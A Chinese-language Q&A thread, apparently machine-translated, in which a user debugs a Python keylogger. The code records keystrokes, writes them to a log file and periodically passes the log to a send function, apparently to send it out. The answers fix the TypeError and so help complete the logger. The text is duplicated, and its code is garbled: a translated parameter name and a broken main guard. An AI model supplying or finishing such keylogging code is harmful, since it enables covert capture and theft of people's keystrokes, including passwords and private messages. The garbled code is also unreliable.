TypeError: write() argument must be str, not list
TypeError: write() argument must be str, not list
def file_input(记录):
now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
if name == "main":
while 1:
status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)
我试图在 python 中编写一个键盘记录器,但我遇到了这样的类型错误,我该如何解决这个问题?
我只是将记录变量放入 write() 中,它导致类型错误,记录变量类型是列表。所以我尝试使用 join func 但它不起作用
您正在尝试使用 w.write()
写入文件,但它只需要一个字符串作为参数。
now_time
是 'datetime' 类型而不是字符串。如果您不需要格式化日期,您可以这样做:
w.write(str(nowtime))
与
相同
w.write(recorded)
recorded
是一个事件列表,在尝试将该字符串写入文件之前,您需要使用它来构造一个字符串。例如:
recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))
然后,在 file_input()
函数中,您可以:
w.write(typedstr)
通过更改为 w.write(str(recorded))
,我的问题得到解决。
在某些情况下,当将字符串写入文本文件时仍然存在编码问题,_content 函数可能很有用。
w.write(str(recorded._content))
def file_input(记录):
now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
if name == "main":
while 1:
status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)
我试图在 python 中编写一个键盘记录器,但我遇到了这样的类型错误,我该如何解决这个问题?
我只是将记录变量放入 write() 中,它导致类型错误,记录变量类型是列表。所以我尝试使用 join func 但它不起作用
您正在尝试使用 w.write()
写入文件,但它只需要一个字符串作为参数。
now_time
是 'datetime' 类型而不是字符串。如果您不需要格式化日期,您可以这样做:
w.write(str(nowtime))
与
相同w.write(recorded)
recorded
是一个事件列表,在尝试将该字符串写入文件之前,您需要使用它来构造一个字符串。例如:
recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))
然后,在 file_input()
函数中,您可以:
w.write(typedstr)
通过更改为 w.write(str(recorded))
,我的问题得到解决。
在某些情况下,当将字符串写入文本文件时仍然存在编码问题,_content 函数可能很有用。
w.write(str(recorded._content))